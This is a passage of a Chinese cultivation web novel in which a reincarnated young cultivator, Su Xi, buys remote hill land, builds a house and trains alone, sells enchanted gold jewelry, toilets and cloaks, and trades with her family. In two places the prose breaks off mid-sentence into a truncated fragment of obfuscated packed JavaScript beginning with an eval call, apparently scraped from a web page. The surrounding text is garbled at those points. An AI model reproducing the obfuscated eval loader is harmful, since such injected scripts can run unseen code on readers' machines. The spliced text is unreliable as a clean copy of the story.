“你喜欢冬天在茅厕大号?我告诉你,我吹那风没事,扛得住。你呢?会拉肚子吧,弄不好还会生病。”拉和不拉都是问题啊问题。本地几乎所有建筑包括学堂都是在室外单独建茅厕的,冬天的寒风夏天的蚊蝇就别提了。但没有冲水马桶和普及下水道的情况下,不得不如此。尤其是苏越这样高不成低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这次回家,父女俩从此明白清楚,小女儿不继承家里田地房舍,会给长辈和兄姐们帮助,但帮助不是无限的上交。 * * * “小茜,你完成学业后想做什么?”苏英女在女儿拒绝她给的学费后问道。 “毕业前我先攒一点钱在城里买一间带静室的小房子,然后做东西卖钱。以后看有合适的山地就买下来。” “山地?” “对。” “你想种灵植?” “不,自己建栋小屋,种灵谷、灵菇、火灵木之类,平时再做些活,也就够生活了。” “也好。”她看过家里修缮的成果,再算算城里一间屋的价格……小女儿应该能自立,因此就不用操心了。“好好学,成绩能得良我就送你一柄刀。不过刀上用的符你自己弄。” “好的!”苏茜对这个毕业兼独立礼物相当满意。母亲送的,肯定不是外头铺子里能买到的大路货。 苏越知道后也不敢说什么。妹妹前一个符术课始终在甲班,毕业成绩良加,造物课程也是甲班、肯定也能达到良。自己这个劝退的,比不了。 “大姐学成,母亲都没给过刀。” “大姐在镇上住的房子就是礼物。价值应该比刀高。”这位哥说这话是不过脑子还是挑拨关系还是表达不满?“你连毕业都没有,就别想礼物了。” “……哦……”苏越立马哭丧了脸。“母亲怎么就不送个刀什么的给我。” “二哥也没有。” “啥?他不是有刀吗?” “那是祖父送的。他没毕业,一样没有母亲的礼物。” “……哦……” 苏越垂头丧气的走了。行吧,这家伙其实想要成年礼物。 苏茜摇摇头。她即使有也不能送,因为这家伙的武力值是兄弟姐妹四人中最差的!虽然将练气中期与初期放在一起比较有些不公平,但实力就是实力,自己虽然比不上母亲,但可以和大姐打个平手,同时碾压其他家人。 她最后用一个月八十灵珠的价格在城里租了个有静室的小房子,租期一年,除了修炼就是在一家熟悉的铺子里干活兼做店员,从带几种石的高级首饰盒,到可以在雪地里轻松行走的高级毛靴,卖掉就能赚一笔、卖不掉库存压力大得让店主人牙痒痒,终于下定决心让她滚蛋走人。 所以,半年后,她带着一万多灵珠和三块灵石又换了个模式:寄售。收入从一金元到一万灵珠不等——利润就不好说了,贵的有时只赚工费。要不是不想浪费房租,她真的想回镇上算了。 收入五万灵珠的是定制品,非制式短刀。苏茜不是不会制作武.器,而是她学习的都是管制品做法,而且因为没有正式上武技课而无法获得材料。现在有了店主提供的高档材料和锻造间,加上符术和剑柄上的符石,她一个人费了大半个月才做出来一柄哑光、朴素,看上去很不起眼,实际上仅次于城主府侍卫配备的短武.器。这里的一万是店主给的酬劳,售价应该是十五万左右,亦或许是非卖品。 不过这些与苏茜无关。她在房租到期时离开宇清城,只带着一个回家的普通包裹,灵珠灵石和其他杂物、铺盖、家具、书籍、粮食、材料、成品和半成品等等全部放岛上山洞,一点不像是带了全部家当的样子,根本没有引起人的注意。她常跑这条线路,几个兽车主人都认得她。 镇上变化不大,连店铺的招牌都没有换,可能在几条主要街道后的凡人住房会有变动,但街道本身甚至街上的人都没大变化。 “小茜,回来了!”苏力正巧从干活的铁匠铺后门绕出来去采买东西。 “爹。”苏茜压根没提自己回来的现实,打过招呼,婉拒了父亲让她去铁匠铺蹭饭的建议,去了与父亲方向相反的另一条街找苏越的摊位。 这家伙是隔三天来一回的,今天没出摊,那个位置是个卖吃食的推车。苏茜用鼻子闻都知道那不是灵谷灵菜做的,压根不会去碰。她在车上就吃过了自带的灵食。继续向前走,是城主府派驻镇上的堂口,牌子是宇清堂,实际上从征税到中介一条龙,尤其是上学、找工作和土地买卖,都是最实用的,也是全镇武力值最高的——不然怎么收税。 本地税收其实不算重,也没有人头税和徭役。比如家里的田地,每亩只要交一袋灵谷或是二十灵珠,但考虑到灵谷的超低产量和灵珠的购买力,纯凡人的十口之家很难拥有超过五亩的土地,往往还需要做工补贴家用,同时乞讨的人会被直接拉走为宇清城做“杂工”,因此本地的生育率始终不高——城主府补贴卖的便宜节育药物功不可没。比如店铺,则是按照位置、面积和卖的东西种类定额征收,像苏茜之前干活的店铺,一年要交十万灵珠,但比如苏茜隔几天才摆一回的马桶摊都不需要交钱,算是给普通人一点活路。这里没有房产税和遗产税,只有契约鉴证费用,所以城镇房屋的成本不高。但如果房主过世无人继承,荒废十年后会由宇清堂收回。 所以,修士主导的城主府并没有奢侈的资本。或者说,奢侈生活不适合修行与长寿。这一点从被扔出城的各地“进贡”美女就可以看出来。 “客人要看什么样的地?” “十二万以下的。山地。” “好,山地有几块的。”平原良田可没有这么便宜的。 店员二十不到,面部骨相和身材都挺好,但这是凡人眼里的美女,练气初期眼里的不错,练气中期修士眼里就是一堆问题的,凡人。宇清堂里新店员除了口音略不正宗,服务态度很不错。 苏茜在简易沙盘那里选了块距离家里“比较”近的小山头。那一带都是低矮丘陵,几乎可以说除了道路就是山头,土质勉强是二等林地,只有两间破败茅屋,九万多灵珠,加上税,差两百就是十万灵珠。如果租车从本镇运送建材到那边,因为是算来回的,每车大概要二十个灵珠——而如果从邻镇过去,也是差不多距离,由此可见,那个山头接近两镇交界处,位置偏、没河流,经济价值小,即使面积超过二十亩,但价格只有家里十六亩地的六成。 苏茜自己拥有过的土地加起来都没有那么大,因为此亩非彼亩,所以大概也就她这样的才会觉得那块地很适合自己。要知道这块地放了快十年都无人问津。 手续契书和界碑全部到手,都快天黑了。 苏力以为她已经回家了,所以家里人等了半天才等到她推着一车的东西回家。双轮带棚车是她在镇上买的,防风防雨,可人力可畜力,还被她加了轻身符、清洁符。 “小茜!你上哪了?你爹说你中午就到了镇上。快吃点,饿了吧?!”阿林塞给外孙女一碗温热的饭,饭上有菜还有一片肉,养殖的灵兽肉,这一片的生肉差不多就要一个灵珠,相当昂贵。 “我去宇清堂办事。等到现在才办完。”家里其他人都吃完了,就看她一个人吃。呃,还是快点塞进肚子里吧。 “啊,宇清堂?家里的地税已经交了。” “不是,”努力扒饭,嗯,做得软硬正好的灵米,同样不便宜,跟她囤的口粮是一个价位的好货。“我这些年攒下十万灵珠,本来想买镇上的铺子,但是一直想不出能卖什么不赔钱,所以去买了块山地,种点东西自己吃用,平时一边修炼、一边做点零工过活。” “……小茜,你晋阶了?”大姐苏明第一个反应过来。细细感应下,她发觉小妹修为扎实,底子不比自己的差。 “是。” “……中期?”双生子三哥苏越差点跳起来。他到现在还没达到初期的顶峰! “……真的啊!”二哥苏勇已经习惯了各种打击,好在有更加笨蛋的弟弟做衬托。 “好事啊!”苏成彻底放下孙女自作主张花光积蓄买地独立的行为,反而支持起来。练气中期,对他们这样家庭的孩子而言完全可以自立门户,或者说应该独立出去,不然一直当继承人看待的大孙女苏明就地位尴尬了。 “小茜,你娘知道吗?”苏成问了句最要紧的话。 “知道。” 11. 修士烦恼多(三) 苏茜吃得非常快。但她说的内容对全家来说影响巨大:最小的一个孩子独立出去了,这个家即将迎来更大的变化。 苏明在妹妹吃完洗漱好后找上来。 “小茜,你不用担心家里。”她从妹妹为家里修缮房屋后就察觉到了,“不用再为我们花钱了,能挣十万灵珠,还晋阶,你平时连吃饭睡觉都没时间。” “姐,说到晋阶,我觉得是因为心无旁骛才会成功。你不妨也试试,除了修炼,只做一件事,哪怕研究厨艺。” 苏明听到最后几个字,愣了半晌。“厨艺?” “我就是那么一说。听说以前有丹道有符道的,但现在大家也没空钻研大道。”她还想种地呢,不过那是片全开放的山头,不能种值钱的,尤其是灵植,只有城主府这样的势力在安全封闭的环境里种植才行。或者在她的岛上,但灵气浓度低,种植效果肯定很糟,也因此她只能种口粮和灵木试试。对了,自己种在岛上的火灵木近四年时间长高三厘米了——理论上,火灵木不论大小高矮都能做保暖物,不过考虑到平均不到两厘米的直径和不到十立方厘米的体积,按照扛住华氏零度的保暖效果来算,将她种的所有火灵木都砍了也只够做一件及踝披风,还得是加了保温阵纹。要不是她用极低的价格买了一大堆火灵木边角料当原材料,全家到现在都得靠凡木烧火取暖来度过比往年都要冷的寒冬——灵木披风外头店铺都是好料子好做工好价格,每件三十灵珠到三百灵珠,而且没有灵木被褥卖。 苏茜将带给大家包括还没回来的母亲的礼物一一分掉。苏越表示还能接受,因为妹妹送了他和二哥一人一柄刀,虽然及不上母亲送给妹妹的,但上头足足錾刻有六个符,全部是苏茜自己做的。苏明的是整套漂亮的黄金首饰,起码用了二十块金元,全部戴上的话确实需要练气中期修为和体能。父母和祖父母、外祖父母那里送的都是冬季长款中衣,没有任何样式可言,但用的材料虽然不厚但也是火灵木纤维制成,上面的纹路是阵纹而不是普通绣花。 另外,就是让苏越去卖的马桶了。 因为目前还是独家生意且价格压很低、加工费成本算得非常少,所以马桶卖得很好。 “……我们的价钱定得低,会做的人嫌弃赚得少,想赚的人做不来,店铺也不乐意做这不挣钱的生意,连宇清城里都有人跑来把我摊位上的全部包圆买走。嘿,我还得给他算得便宜点。”就像苏茜的同学们普遍认为的那样,费一个时辰才赚个把灵珠的低端品不高兴做,但耗费几个月时间不知道能不能卖出去的高级品也不敢做,所以那帮同学赚得都没有她多——他们消耗的时间精力和创造力也不及她。 “给钱的话我们还能送货上门。”苏茜拿出灵珠,跟苏越一比三兑换金元,后者占大便宜了。 “你给大姐做的首饰很好看,以后能卖吗?”那一层一层的造型加工,如果是凡人工匠来做,得花大半年时间吧?而且那些花的形状各异还都很漂亮,真不知道怎么想出来的。 “可以。”只要高于材料费都接。不怕赚得少,就怕没机会赚金子。“不过给大姐的那些是很沉的,你掂量了就知道,我可以卖一些讨巧的小件,用金元付账。” “你接受金元?” “当然!”比灵珠还接受,多多益善。不然当初花的模具钱不就浪费了。虽然那些模具按照现在来算不过“区区”五六块金元的事情,可问题是现在根本买不到啊!而且作为修士,她的力量和手法可比凡人工匠强得多。 “好。要不带符术的那种。”这样生意更做得起来了。练气初期修士卖黄金饰品,确实也只配在地摊上卖。 “那当然。给大姐的阵纹饰品是不一样的,店里买不到。”那个黄金纹样本身是防御阵纹,不是很好看但绝对实用。 “呃,是阵纹?” “是。不是符。你搞错了,得好好看我买的那些书。” “那书太贵,我都不舍得打开。我现在就拿来还给你。”打开也没用,看着头疼。 “……”苏茜无语地看着他匆匆跑出去,觉得这没常识的家伙居然能在造物课程撑一年多简直是奇迹! * * * 兽马大车的主人通常拥有三到四头兽马和两辆以上的大小车辆,客运的都是两头兽马拉的大车。苏茜很快就租了一头兽马和一辆小兽车,将自己的家当搬去自己的山头,自己赶还更省。 一车是建材和树苗、农具,一车日常用品和大部分的家当,两人赶着两辆兽车去三十多里外的土地。路面还算好走,加之货物份量不算特别重,到达山角才花掉一个多时辰。苏茜出发时就付掉全部车资与租车费,比正常价格多些,条件是对方帮着自己运货上山顶。 不过,山,很矮,有没有三百英尺都不知道,而且向阳的地方是陡坡,背阳的地方是缓坡。计算面积的时候应该是没有计入陡坡的,所以实际面积比地契上的还要大。去山顶的路坑人的居然在靠近陡坡那一边,缓坡那里全部是泥地,虽然明显是有修过的,但坑坑洼洼还绕道,两个人推一辆车,费了比路上还多的时间,才将东西全部拉到茅屋前。车主也是练气中期,可想而知路况多么可怕。苏茜不想浪费灵力岩化山路,因为即使两个人一起用劲也无法清理出一条平整的车道。苏茜塞了两个灵珠当小费,要知道对方是结结实实出了大力气的。 车主看着那摇摇欲坠的茅屋,又瞅了眼运来的所谓“建材”,顿了下,“客人,要人手和东西建房子的话可以来找我。” “好。不过我先自己试试吧,学堂里学过,弄个小屋没问题的。”还是那句,能省就省。 两个人友好道别。 而苏茜对着没有屋顶的茅屋和屋外乱七八糟的杂木林苦笑,就知道便宜无好货,但她仍然义无反顾地来了,面对危房和没有自来水的露天厕所。 身为修士,她真的不在乎房子如何。 不过现在确实需要一个灶台,不然无法解释自己吃喝什么。另外也不能随便拿出来不属于这个世界的工业品。 她先立起镇上采购的小炉子,放上锅,用法术凝了些纯净水来蒸灵谷,然后砍了些树枝来烧,加上一小把灵菜,上锅隔水蒸。蒸的水是用岛上的雨水沉淀后的水,只要不直接喝都能用。 看来得去镇上再买些耐放的吃食了。 自从开始修炼,由于食材的限制,她对食物味道的需求降到极低。 灵食与凡食是不同的东西,比化学甜味剂和有机果汁的区别更显著,因此凡食做得再好也吸引不了她。若非没有辟谷丹这种玩意——也许曾经有,但市面上是没得卖的——她真的可以做到辟谷。搬出来后,虽说食物品种更单一,但总算可以好好练斩赤龙的功法,这没法在家练,因为家里人根本不支持。 自己虽然没有痛经和妇科类问题,但经期和生育并非所有女修的选择,当然成亲生子也不是所有男修的选择。即使父母都是修士,子女也有可能终生无法修炼,纯凡人父母也可能生下资质不错的修士。如苏英女夫妇二子二女都能修炼的家庭,其实并不多,也所以苏英女在生下苏越苏茜后就用了节育手段不再生育,就是怕生下纯凡人,但即便如此,苏勇的普通农夫身份也是让大人们头疼的事:这娃即使给他买多了地会交不起地税,买少了又无法养活一家子,比较好的出路就是成亲后只生一两个能修炼的孩子,将来由亲属资助上学堂…… 上述其实与苏茜无关。 她将少量的木材和隔断归拢拼接,在两个破茅屋的可用墙面之间做了个庇护所。至于茅厕,她选择回岛上,在温暖的环境里用马桶。然后在庇护所修炼一个时辰,练武半个时辰,吃掉全部剩菜剩饭后连夜洒下灵菜种子,种下灵木树苗,浇的水却是岛上的雨水跟过期也问题不大的营养液无机物配料——有机的上辈子就扔了。 这时已经天光大亮。做一天量的饭和菜——真的就是米饭加菜,酱料都没有——修炼,练武,然后回岛上研究能不能吃海鲜。 之前一直处于周围或隔壁有人的环境,她没法长时间去岛上。现在终于得到自己的时间和空间,当然第一件事就是收拾自己的小岛。 上一辈子自己卖掉农场终老于养老院,所有东西都收在里面。 清理非垃圾的事不急。 苏茜脱掉外衣,跳进海里。 小船已经不是漏水问题,而是固体垃圾的问题。她干脆沉到海底去,给动物们当家园去。 小岛周边的海里还是有不少动植物的,除了贝壳类,有一小片海带林,还有很多中小鱼类和软体动物。哦,还有类似海参海胆等的玩意。 苏茜大概测试了一下自己的潜水和游泳能力——比纯凡人强不少,可也就是一分钟和两分半的区别,不存在想象中的仙凡壁垒。 不过抓鱼本事强了很多。潜水装置是没有的,但她手里的工具却很好,加上符术加持和法术配合,看起来很平常的鱼叉硬是扎中海里一条一米多长的大鱼,扛着犹在挣扎的鱼游回岸边。 回程耗费了她大部分的体力。 看来自己应该拿个小渔网,这样在水里拖着走会轻松不少。 坐在岸上休息片刻,再将鱼开膛,用海水清洗。期间还引来其他的肉食鱼类,她顺手也抓了扔在岸边泥地里,现在没空处理。 扔了鱼鳞鱼头鱼尾,将清理好切片的鱼肚鱼背肉带回到山洞那的烧烤炉子,直接用前段时间放在那里的凡木材烧火,不加调料,先试试能不能吃。 结果是可以吃,但所含的灵气非常少,不能说是纯粹的凡食,但与满是灵气的灵兽肉相比,是一金元五斤和一灵珠一片的区别。本地不临海,所以海鱼肉应该会贵些? 苏茜加了在镇上买的“高档”调味料,别说,这调料因为是灵草做的,一灵珠才一小瓶,但口味比菜饭强。所以两条鱼用掉半个灵珠的高级调料,煎烤烹炸一起上,让苏茜吃了两天七顿才吃完。要不是调料品质过硬,她早就扔了。 水质检验箱已经坏了,但苏茜靠着对灵气的感应,选了距离自己土地比较远的一条河取水。平地用推车,上山直接拎着桶上去,顺便将脚下的坑用土系法术抚平硬化——仅仅是脚下的那一点地面。哪怕没有火山灰和其他原料,她凭着一己之力也能搞一条土水泥路! 所以每天两回取水顺便硬化山路的结果是,一个月后原来的山路就可以推着车子走,不会陷在坑里了! 而她此时迎来了第一位访客:苏英女。 “你刚才在修路?”苏英女沿路上山后停在小路尽头。 “是,得先将路修起来,才能建房子,种更多的灵木。”苏茜请母亲进自己的庇护所。 庇护所其实是棚屋,利用原来房屋的结实墙面加上防雨顶棚,并用简易隔断分里外两间。外间有厨房和起居室,内间就是修炼之所。只有一席一垫,还有一大箱子的书。 厕所这种,在隔壁茅屋里,不过用的马桶是最“先进”的,清洁祛味保温甚至清洗烘干一条龙,比冲水的还好用。 苏英女表示很受打击,这玩意大概得卖好几百灵珠吧?可比家里的以及苏茜卖的贵多了。 其实苏茜还卖过两千灵珠的马桶,用很不便宜的水灵木,还能自带清洗的那种超高级,可惜就卖了一个,老板塞给她两千之后就不再做这类产品了,但之后老板名下的另一家平民化店铺里就推出一批“仅仅”三四十灵珠的马桶……咳咳,反正她都是这样操作的,先上一款超级豪华昂贵的,挣一大笔手工费作为知识产权转让费,然后交给老板去处理;老板将创意拿出来找便宜的劳工做,而且还得卖得比较便宜,不然买了高档货的高端顾客会不满。 苏英女拒绝了女儿送她一个同款马桶的提议。她是练气后期的侍卫,年过六十依旧身强力壮处于巅峰期,又不是凡人老太太。 而苏茜拒绝了母亲塞来的灵珠。“我身边还有一万多。足够建个小房子和过日子的。何况我还要给二哥供货呢。” 苏英女想到小儿子摊位上从三块金元到三十灵珠的“货”,默然片刻,摸摸小女儿的头,走了。听说不少人坐车来镇上进货回去卖都能赚到金元兑换灵珠的差价。小女儿别的不好说,赚钱还是挺行的。 放下心的苏英女走后,苏茜继续做金饰。 整套的比零碎的值钱,但是零星、总价低的更好卖,尤其是她大方地在漂亮的黄金项链上用了金光阵纹还接受金元计价,几乎一到货就被抢光。别人觉得她吃亏,但她一点不觉得吃亏。造物课上学的炼器炉,她只能做初级版,也就是融化最低级别的灵材,但对付普通黄金真是一点压力也没有,加之几十种模具跟一堆合金首饰样品都是现成的,她配合一点修士手法和小法术就行,一天花费不到两个时辰能做四五条附符项链,净赚三盎司黄金……这是啥高薪啊这是。 在种下的几种灵菜能收了做成菜干的时候,苏茜推着一车货物回了趟老家,送了每人一个控温马桶、一个带有三个一次性土系防御符的金戒指,还有几样附符农具,然后大大方方跟家里换口粮。 “按照你说的,自家种的灵谷除了交税不卖钱,都留着呢。”苏力将十几袋灵谷放上推车。从价格来说,家里赚大发了;从价值来说,大家倒也算等价交换,毕竟一个人一年的口粮要消耗不少的劳动,肯定比苏茜制作物品的时间多。 苏茜说是赶在天黑前回去,拿了六个下地用的灵谷饭团就走了。 在开始下雪前,苏茜的小房子终于弄好了。二层小楼,每层就一个开间,下层有水缸、桌椅餐柜厨具、烧火炉、烘烤炉和桌上用的小炭炉,齐全得不像单身人士;而上层仍然保持一席一垫一书架的极简主义风格,但有个烧火灵木的壁炉。火灵木燃烧充分且非常持久,一小块可以温暖两天两夜,加上有一扇窗户是常年开着的,连烟囱都省了。 这房子是苏茜一个人造好的,墙是砖石建的,不仅用上岩化法术加固,还带有防震防火防水防攻击的阵纹,楼板屋顶是灵木制成,阵纹符术共同加持,方便随时补上。房子的建材加起来就要差不多四千灵珠,因为是陆陆续续找不同的卖家,中间用小岛中转省了大笔运费,所以没人知道具体造价。尤其是外墙灰扑扑的,连彩色透明窗户都没有,居然只有一楼的大门和二楼的俩窗,怎么看怎么像是雇农住的仓库式房子——上层仓库,下层住人。 “小茜,你这房子,跟你的身家一点不配。”苏明和苏越是第二批访客,赶着租来的灵兽车,带着镇上买的灵兽肉和货款上门,顺便看下她的住处能否过冬。 现在车辆从缓坡和陡坡两边都可以直接上来。他们走的是缓坡。 “我又没什么身家。”苏茜送上灵茶,五十五灵珠一大包,一天三泡可以喝一年,茶渣作为绿肥养茶树,妥妥的修士口粮茶。对了,她将茅屋的屋顶用石板填上,废物利用成灵菇种植大棚。她没种过菌菇,虽然灵菇跟普通的蘑菇不是一个品种,但特性也还是喜阴喜湿腐殖质。本地吃的灵菜灵菇灵谷灵兽的全部是人工种植养殖的,虽然没有完备的种植手册和技术指导,但种子孢子的价格很低,可以用指定品种灵菇和灵谷交税就可以看得出来城主府的意思。苏茜没有种灵谷,也不打算养灵兽,更不会拿种出来的灵菇灵菜交税。说实话,自己这块地的价格低于苏家的良田,地税也低得多,都不到二百灵珠。 “这茶,呃,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好啊!不过欸,这个真暖和!”苏越特意跑出门又跑回来,“比被子薄很多,但一样暖和!” “保暖阵纹加保温符。你这造物课怎么学的?!” 苏越麻溜滚了。 苏明翻着白眼也走了,她赶车,苏越这小子对付不了这种兽马。小妹还是很为家里人考虑的,从她送的披风长度尺寸正好就能看出来,另一件比苏越的长宽大不少,明明白白就是给兄弟姐妹中最高壮的苏勇的。苏勇在学堂没撑过一年就回家了,基本没学到东西,现在家里有近一半土地都是他种的——要不是苏茜连去壳碾子都加了符术,所有农具都有加持,他根本种不了那么多面积,更不可能得到弟弟妹妹私下塞来的灵珠当零花。他没成亲,也拒绝家里给他买土地和相亲,就替家里干活,顺便吃灵食戴手套穿灵木衣服用高级马桶……一个甚至称不上修士的男子在全部是剽悍女修士的家庭里是真的会自卑,因为他没能力娶到大姐或小妹这样的妻子,更不可能独自种超过四亩地来让一家子凡人衣食无忧。 苏茜也就是在收拾屋子的时候想了会儿二哥的出路,接下来她还有一堆的事情要忙。比如项链略贵卖得不多但利润高,精雕嵌彩色宝石的戒指因为价格才两块金元、且每一件都不一样而成了周边凡人和低阶修士家最喜欢的首饰之一,每次摆摊都是一抢而空。 苏茜制作的戒指是没有模具的,全靠记忆里的各种图案样式排列组合。而彩色宝石批发价一个灵珠十颗却不收金元,所以在其他店铺眼里这价格根本赚不到钱而不屑卖,在苏明看来是妹妹只挣一点饭钱连肉都吃不起,对苏茜则是赚大发了:戒指的加工费什么时候能比戒指的材料费还多的?灵珠不能用来修炼,只是本世界的一个等价物,对她来说只有全部换成物资才划算,跟家里把灵珠当家族储备的做法大相径庭。 …… 下雪了。 室外的温度不到华氏三十度,一层的室内因为没有取暖炉而不到华氏四十度。苏茜在小炉子上煮着海鲜粥,海鲜当然是岛上的小海鲜肉,米则是镇上买的一种两年生灵谷,还是挺容易煮熟的那种米,再加一把灵菜干、新鲜灵菇和少许盐。这里的海鲜真的也就是个调味剂,与修炼没用,但对舌头和心情比较友好。 半个小时后,苏茜将一小锅的粥全部吃掉,略撑。灵食产量低但能量足,同样一餐吃得比凡食少一半还多。 接着就是做活了。将岛上值得封存收藏的东西全部清洁整理一遍,加固成最新最高级的符,调整阵纹,还做了好几样专门用来保存纸制品尤其是纸币的容器。另外就是将宇清城式样的金元做成其他形状,比如元宝和瓜子花生珠子等等。 法术真是有用,但是消耗也很快。 她做完这些,回到二楼,点燃一小块火灵木,开始尝试延长修炼时间。 早晨修炼叫晨练、早课,中午晚上那是午时功、子时功。不同的功法书对练功尤其是静功的要求各不相同,学堂里的先生也说因人而异。听说以前的宗门,每个宗门的规定都不太相同,但现在连宗门都没有了,那大家也就各自按喜好习惯做。 以前在家有很多事要做,而且也不安静,家里人口多,生活习惯也各不相同,除了深夜到凌晨其他大部分时间都有人在走动;学堂里上课时间早,经常到午后才结束,还有很多作业和考核,大部分学生最多早晚修炼而已,少部分甚至只在夜间修炼半个多时辰就不行了,宁愿早上在外面练刀练弓箭练拳脚之类。小说里剑气取千里之外的人头纯属幻想。 现在一个人在安静无人的小山顶,不好好修炼看看能不能健康地活个一百多岁简直是浪费时间!最起码得有母亲六十岁的年纪、三十岁的容颜吧?再不济抡刀砍盗匪也行……啊,宇清城势力范围内,没有盗匪。而外面的情况不清楚,搞不好盗匪头头是筑基,那自己一个人跑去就是个送菜的。 压下所有思绪,苏茜开始行功运行经脉。不是穴位,这里不谈穴位,更没有针灸这门学问,真是奇怪。可主经脉和小经脉以及支脉却是真实存在的,搞不好上辈子的自己和这辈子的自己是不同的物种。 三天两夜的雪,让环境更加安静。 风不大,灵木燃烧极为安静,耳边只有落雪的细微簌簌声,偶有细枝断裂的咔嚓声,连山脚还算宽敞的道路上也全无动静。没有声光污染,没有网络喧嚣,没有鸡犬相闻,没有人来人往。仿佛世界上只有自己一个人…… 集中修炼了快十天,苏茜明显感觉这种方式有效,但时间不能太长,从第七天开始效果就不行了,现在则跟之前一天不到两个时辰一样。 外面的雪化得差不多了,室外温度华氏六度,呃,摄氏多少度来着?她脑袋一时反应不过来了。时间是一把最残酷的刀,很多东西被慢慢忘却,又有很多东西被慢慢捡起。 本地人戴项链戒指的多,戴手镯的少。不过苏茜打算做些不一样的。翻出书来,重新练习了几天,然后终于做出来火灵木雕的带有十个金系和火系防御符的手镯。十五天来她每天只吃两顿一共四个灵谷饭团,都快成仙了! 赶紧冲回岛上找不同口味的吃食。 在法术和自制短刀的辅助下,她一口气弄回来两桶生蚝和四只大海蟹。海蟹只能两只两只煮,还是变红以后扯掉腿钳再放下一只,这才能在大锅里煮两只;大一点的生蚝直接放烤炉上,小的养一会到时候做耗油。没多久第一批烤蚝肉就能吃了,一边吃一边烤,然后调一碗成本高达一灵珠的高级调味料,将煮得差不多的蟹腿捞出来剥了吃,哦,同时再下第三只螃蟹。 就这样花了一个半时辰,她才将那么多海鲜全部吃完。 结果,胃疼! 修士会胃疼吗? 反正练气修士会的。 幸好调料质量过硬,没有拉肚子!但苏茜不舒服了一晚上才缓过来,差点影响修炼。 看来,必须得老老实实吃修士该吃的东西。“我的烤鱼……我的螃蟹……我的生蚝……” 简直是生无可恋! 12.修士烦恼多(四) 请问,您看过两米可能还超过一点的大汉绣花吗? 有! 我哥! 苏茜看着二哥苏勇,对,就是种地的苏勇,熟稔地将棉衣口子缝起,还用花样掩饰住瑕疵,完全震撼住了。 “二哥,”她看向停住换线的苏勇,“我给你做新的,保证拉扯不坏。” “这是你三哥的衣服。”苏勇笑了下,他平时跟小妹相处时间是最少的,但对方送给家人的东西从来不会落下他。“他要成婚了,得带走全部东西。” 苏越被镇上一个修士家族看中,这家有一子二女,但唯一儿子是纯凡人、成亲生的三个孩子也都是凡人,大女儿修炼到练气中期且医术很好、现在城主府效力,二女儿经常从苏越这里买东西最后将她的父母和姐姐给惊动了。两人聊得不错,两家也谈了下,成亲后苏越去女方家生活。本地没有招赘一说,孩子从母姓也非常常见,尤其是修士家族,有一半是由女儿继承和奉养双亲。 “二哥,你能做衣服吗?你觉得如果我做的披风能弄得好看些,是不是就能卖了?” “可以!每年冬天大家都不乐意出门,太冷了。到脚面的长披风一穿,靴子也用上好的绒,不臃肿又能保暖,就是,灵珠价格高不上去。”修为高的抗冻,修为低的灵珠不够。 “知道,我可以卖灵珠加金元。树苗和一些材料买来用的是灵珠,这是没办法的。其他的可以看着办。” “你打算放在兴家的铺子里卖吗?”苏越的妻子兴裕比苏越大两岁,也是练气初期,修炼不太行,但学堂造物课是毕了业的,虽然足足念了五年多成绩才是个普通。 “不,兴家铺子都是灵珠计价的好货。你去摆摊卖便宜些、品质略低些的,金元和灵珠都能买的那种。” “小越的那种摊子?” “对,他不摆摊了,我损失最大。”兴家在镇上和宇清城都有店,当然需要多几个懂行的自家人,而苏越这个女婿是很好的人选。双方家庭对这桩婚事都很满意。 “……那谢谢了。”小妹不可能损失,她做的东西价廉物美、完全可以整车的卖给各类商铺,也可以做高端产品卖给高端店铺。她这是帮自己,有事情做有钱挣总比到处靠家人接济零花的好。 “二哥,我用灵珠跟家里换口粮,多出来吃的都给我。家里地税就用灵珠交。”苏茜没有种灵谷,而是在房子周围种灵菜,“菌菇大棚”里种灵菇,其他地方的杂木全部连根挖了烧火做绿肥,腾地方总共种了几千株火灵木树苗。山地的火灵木长得比岛上的快多了,三年能长十几厘米、直径多了近两厘米。灵木的叶子数量少,却是灵菇最好的肥料,比普通枝叶强得多。她种树不是为了做高级材料,而是价格不高的保暖衣物,所以根本不需要等几十年,明年就可以开始分批砍了。 “好。”苏勇知道妹妹的地是偏远林地,距离水源很远,种灵谷比较困难。 “我明年开始用的火灵木都是七八年的小树,保暖效果比你们身上的差些。推销的时候稍微‘谦虚’些。”差了一截,但也就是三百克鹅绒和两百七十克鸭绒在保暖性能上的区别,倒是成本差得多。 “我明白!” 苏明今天也在家。她去地里看看积雪融化带来的问题,现在过来旁听了后半段,“你做阵纹费事还是做灵木棉费事?” “阵纹费力,灵木棉费时。” “那就教二弟加工灵木棉。他做好了的货给你加持符术或是阵纹。”顺便看看你一个人过得怎么样。 “好啊!我自用的也请二哥帮我做了。”这样苏勇就能挣更多,而她就有更多时间做别的。她最不耐烦做低级加工,所以灵木棉服原本是不打算卖的。 “没问题。你提样子,我来做。”作为修士,苏勇是不合格的,但他确实是位不错的凡人级别手工艺师傅。 “天气暖和之后我就陆续送来棉絮,还有别的可以卖的东西。估计,按长披风来算,我那山头一年也就出个两百件。”苏茜估量了下二哥的体能实力,决定自己来做灵木初加工,顺便也掩饰下自己用的火灵木到底是什么级别的。“我不建议你去买原料,因为火灵木材都是五十年以上的,做普通衣服根本卖不出去。还不如继续卖马桶,对了,你不妨做香梨木的马桶,交给我处理。” “好。” 苏力苏明对兄妹两人的“交易”很满意。这是个互惠互利的好事。 苏茜也挺高兴,她真的不想费时费力弹棉花和手工缝线…… “呜哇——哇——” “呜哇——哇——” 丁点大的两个小家伙,哭闹起来动静却不小。 苏明没成婚,不过赶在四十岁前生了一对“优质”双生子,辞了活计回来养孩子兼种地。最高兴的是四位已经不太能干很多活的老人,两个老人带一个娃,娃大些就由母亲领着修炼——如果能修炼的话——劳动力分配得正正好。之前全家唯一有后代的是苏茜,但他的孩子归兴家。 “这两个小家伙都有灵根。”苏茜摸着两只软软的小拳头道。她知道自己应该是到练气中期顶峰了,能不能跨过去不好说,但分辨孩子的资质还是可以的。 